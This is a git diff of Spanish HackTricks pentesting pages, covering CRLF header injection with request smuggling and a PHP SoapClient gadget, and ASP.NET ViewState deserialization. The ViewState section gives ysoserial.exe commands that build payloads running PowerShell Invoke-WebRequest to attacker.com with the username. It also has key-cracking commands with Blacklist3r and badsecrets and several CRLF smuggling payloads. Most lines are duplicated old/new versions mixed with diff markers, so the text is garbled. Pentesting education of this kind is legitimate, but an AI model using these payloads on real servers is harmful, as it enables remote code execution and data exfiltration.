Un buen ejemplo se puede hacer usando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent`, lo que permite **insertar nuevos encabezados y contenido del cuerpo**. Sin embargo, incluso puedes aprovechar esta vulnerabilidad para **inyectar una nueva solicitud HTTP**:
```php
$target = 'http://127.0.0.1:9090/test';
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Inyección de cabecera para smuggling de petición
### Inyección de encabezados para el contrabando de solicitudes
Puedes inyectar cabeceras esenciales para asegurarte de que el **back-end mantiene la conexión abierta** después de responder a la petición inicial:
Puedes inyectar encabezados esenciales para asegurarte de que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Luego, **especifique una segunda solicitud**. Aquí tienes un **clásico** [**smuggling de solicitud HTTP**](http-request-smuggling/) con **encabezados/cuerpo extra** agregados por el servidor después de la inyección.\
A continuación, **especifique una segunda solicitud**. Aquí tienes una **solicitud de contrabando** [**clásica**](http-request-smuggling/) con **encabezados/cuerpo** adicionales agregados por el servidor después de la inyección.\
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web:
Especificar un **prefijo malicioso** para envenenar la solicitud del próximo usuario o una caché web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el **envenenamiento de la cola de respuesta**.
O crear nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar el **envenenamiento de la cola de respuestas**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para obtener más información sobre esta técnica y los posibles problemas, [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Para obtener más información sobre esta técnica y los problemas potenciales, [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Inyección de Memcache
@ -164,27 +166,27 @@ Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos memcache**.
Si una plataforma toma **datos de una solicitud HTTP y los utiliza sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad descubierta originalmente, las claves de caché se usaban para devolver la dirección IP y el puerto al que un usuario debía conectarse, y los atacantes podían **inyectar comandos memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos los nombres de usuario y las contraseñas) a los servidores del atacante:
Por ejemplo, en la vulnerabilidad descubierta originalmente, se utilizaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las direcciones IP y los puertos de los atacantes a los usuarios cuyo correo electrónico el atacante no conocía:
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las IP y los puertos de los atacantes a usuarios cuyo correo electrónico el atacante no conocía:
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**Para obtener la información completa, lea el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
**Para obtener toda la información, lee el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impactos de la vulnerabilidad de inyección CRLF
## Impactos de la Vulnerabilidad de Inyección de CRLF
El impacto de las inyecciones CRLF varía e incluye todos los impactos de la ejecución de scripts entre sitios hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de origen mismo en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.
El impacto de las inyecciones de CRLF varía e incluye todos los impactos de la ejecución de código en sitios cruzados hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los filtros XSS y la Política de mismo origen en los navegadores de la víctima, dejándolos susceptibles a ataques maliciosos.
### Cómo prevenir las inyecciones CRLF / HTTP Header en aplicaciones web
### Cómo prevenir las inyecciones de CRLF / encabezados HTTP en aplicaciones web
La mejor técnica de prevención es no usar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debe usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar su lenguaje de programación a una versión que no permita que CR y LF se inyecten dentro de las funciones que establecen los encabezados HTTP.
La mejor técnica de prevención es no utilizar la entrada de los usuarios directamente dentro de los encabezados de respuesta. Si eso no es posible, siempre debes usar una función para codificar los caracteres especiales de CRLF. Otra buena práctica de seguridad de aplicaciones web es actualizar tu lenguaje de programación a una versión que no permita la inyección de CR y LF dentro de las funciones que establecen los encabezados HTTP.
### CHEATSHEET
```
@ -192,7 +194,7 @@ La mejor técnica de prevención es no usar la entrada de los usuarios directame
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
@ -212,7 +214,7 @@ La mejor técnica de prevención es no usar la entrada de los usuarios directame
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## Lista de detección de fuerza bruta
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
@ -221,9 +223,9 @@ La mejor técnica de prevención es no usar la entrada de los usuarios directame
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -234,7 +236,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -7,56 +7,58 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es ViewState?
**ViewState** es el método que el framework ASP.NET utiliza por defecto para **preservar los valores de la página y los controles entre páginas web**. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que deben mantenerse durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo o campos ocultos ViewState.\
**ViewState** es el método que el framework ASP.NET utiliza de forma predeterminada para **preservar los valores de la página y los controles entre las páginas web**. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que deben conservarse durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo o campos ocultos de ViewState.\
Las siguientes propiedades o combinación de propiedades se aplican a la información de ViewState:
* Base64
* Se puede definir utilizando el atributo EnableViewStateMac y el modo de cifrado ViewStateEncryptionMode establecido en false
* Puede definirse utilizando el atributo EnableViewStateMac y el atributo ViewStateEncryptionMode establecido en false
* Base64 + MAC (Código de Autenticación de Mensajes) habilitado
* Se puede definir utilizando el atributo EnableViewStateMac establecido en true
* Base64 + Cifrado
* Se puede definir utilizando el atributo viewStateEncryptionMode establecido en true
* Puede definirse utilizando el atributo EnableViewStateMac establecido en true
* Base64 + Encriptado
* Puede definirse utilizando el atributo viewStateEncryptionMode establecido en true
## Casos de prueba
## **Casos de prueba**
![](<../../.gitbook/assets/image (309) (2).png>)
### Caso de prueba: 1 - EnableViewStateMac=false y viewStateEncryptionMode=false
### Caso de prueba: 1 EnableViewStateMac=false y viewStateEncryptionMode=false
También es posible desactivar completamente ViewStateMAC estableciendo la clave del registro `AspNetEnforceViewStateMac` en cero en:
También es posible deshabilitar completamente el ViewStateMAC estableciendo la clave de registro `AspNetEnforceViewStateMac` en cero en:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificación de los atributos de ViewState**
Puede intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite:
Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
Si no se utiliza Mac para proteger el parámetro, puede explotarlo utilizando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
Si no se utiliza MAC para proteger el parámetro, puedes explotarlo utilizando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Caso de prueba 1.5 - Como el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie). Se puede asumir que si **ViewState no está presente**, su implementación es **segura** de cualquier posible vulnerabilidad que surja con la deserialización de ViewState. Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr la **ejecución de código** como se muestra en el **Caso 1**.
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
Uno podría asumir que si **ViewState** no está presente, su implementación está **segura** de cualquier posible vulnerabilidad relacionada con la deserialización de ViewState.\
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr la **ejecución de código** como se muestra en el **Caso 1**.
### Caso de prueba: 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
### Caso de prueba 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
Para **habilitar ViewState MAC** para una **página específica**, necesitamos hacer los siguientes cambios en un archivo aspx específico:
Para **habilitar el MAC de ViewState** para una **página específica**, necesitamos realizar los siguientes cambios en un archivo aspx específico:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -66,12 +68,12 @@ También podemos hacerlo para la aplicación **en general** configurándolo en e
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
Como el parámetro está protegido por MAC, para ejecutar con éxito el ataque primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos informará de que el parámetro está protegido por MAC:
Como el parámetro está protegido por MAC, esta vez, para ejecutar con éxito el ataque, primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos indicará que el parámetro está protegido por MAC:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
@ -84,7 +86,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencias de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarlo.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad llamada "python blacklist3r", que es la forma más rápida de usarla.
Puede suministrarse directamente con el viewstate y el generador:
```
@ -93,46 +95,52 @@ git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
O bien, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` de [**BBOT**](exploiting-\_\_viewstate-parameter.md):
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
Si tienes suerte y encuentras la clave, puedes proceder con el ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Si tienes suerte y encuentras la clave, puedes proceder con el ataque utilizando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
En los casos en los que el parámetro `_VIEWSTATEGENERATOR` **no es enviado** por el servidor, **no** es necesario **proporcionar** el parámetro `--generator`, **pero sí estos**:
En los casos en los que el parámetro `_VIEWSTATEGENERATOR` **no se envía** por el servidor, **no** es necesario **proporcionar** el parámetro `--generator`, **pero sí estos**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, es probable que el valor esté encriptado y **necesitarás la clave de máquina para encriptar tu carga útil** para explotar la vulnerabilidad.
En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, probablemente el valor esté encriptado y **necesitarás la Machine Key para encriptar tu carga útil** y explotar la vulnerabilidad.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
**En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo comprueba** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará.**
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios, incluso si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará**.
Por lo tanto, si se conoce la clave de máquina (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
Por lo tanto, si se conoce la Machine Key (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2** para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará como se muestra en la figura:
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, se mostrará un error de validación de MAC de ViewState y la explotación fallará, como se muestra en la figura:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
### Caso de prueba: 4 - .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
Podemos forzar el uso del marco de ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
Podemos forzar el uso del framework ASP.NET especificando el siguiente parámetro dentro del archivo web.config, como se muestra a continuación.
```markup
<httpRuntime targetFramework="4.5" />
```
@ -144,7 +152,7 @@ Como en el caso anterior, Burp no identifica si la solicitud está protegida por
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
Puede intentar usar [**Blacklist3r (AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave que se está utilizando:
Puedes intentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave que se está utilizando:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -152,7 +160,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Para obtener una descripción más detallada de IISDirPath y TargetPagePath [consulte aquí](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Para obtener una descripción más detallada de IISDirPath y TargetPagePath, consulta [aquí](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
@ -161,43 +169,43 @@ O, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
Una vez que se identifica una clave de máquina válida, **el siguiente paso es generar una carga útil serializada usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Una vez identificada una clave de máquina válida, **el siguiente paso es generar una carga útil serializada utilizando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parámetro `--generator` con ese valor y **omitir** los parámetros `--path` y `--apppath`.
Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parámetro `--generator` con ese valor y **omitir** los parámetros `--path` y `--apppath`
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
Si se explota con éxito la vulnerabilidad de deserialización de ViewState, un servidor controlado por el atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. [PoC de explotación exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
Si se explota con éxito la vulnerabilidad de deserialización de ViewState, un servidor controlado por un atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. [Prueba de concepto de explotación exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### Caso de prueba 6 - Se está utilizando ViewStateUserKeys
La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido una clave de este tipo en la aplicación y se intenta generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
La propiedad **ViewStateUserKey** se puede utilizar para **defenderse** contra un **ataque CSRF**. Si se ha definido una clave de este tipo en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **aplicación no procesará la carga útil**.\
Necesitas usar un parámetro más para crear correctamente la carga útil:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Resultado de una explotación exitosa <a href="#poc" id="poc"></a>
### Resultado de una Explotación Exitosa <a href="#poc" id="poc"></a>
Para todos los casos de prueba, si el payload ViewState YSoSerial.Net funciona **exitosamente**, entonces el servidor responde con un error "500 Internal server error" con el contenido de respuesta "The state information is invalid for this page and might be corrupted" y obtenemos la solicitud OOB como se muestra en las figuras a continuación:
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, el servidor responde con un "error interno del servidor 500" y el contenido de la respuesta es "La información de estado no es válida para esta página y puede estar corrupta". Además, obtenemos la solicitud OOB como se muestra en las siguientes figuras:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
solicitud fuera de banda con el nombre de usuario actual
Solicitud fuera de banda con el nombre de usuario actual
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## Referencias
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
